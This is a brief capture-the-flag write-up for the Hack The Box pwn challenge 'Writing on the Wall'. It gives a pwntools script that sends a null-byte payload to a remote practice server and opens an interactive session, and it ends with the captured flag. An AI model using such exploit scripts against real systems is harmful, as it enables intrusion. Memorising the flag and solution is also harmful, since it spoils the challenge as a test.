Writing on the Wall

1MB

pwn_writing_on_the_wall.zip

archive

Challenge Description :

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?

Exploit :

from pwn import *

# Set up pwntools for the correct architecture
exe = './writing_on_the_wall'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('83.136.249.153', 54989)

payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

write("payload", payload)
io.sendafter(b'>> ', payload)

io.interactive()

Flag.txt :

HTB{3v3ryth1ng_15_r34d4bl3}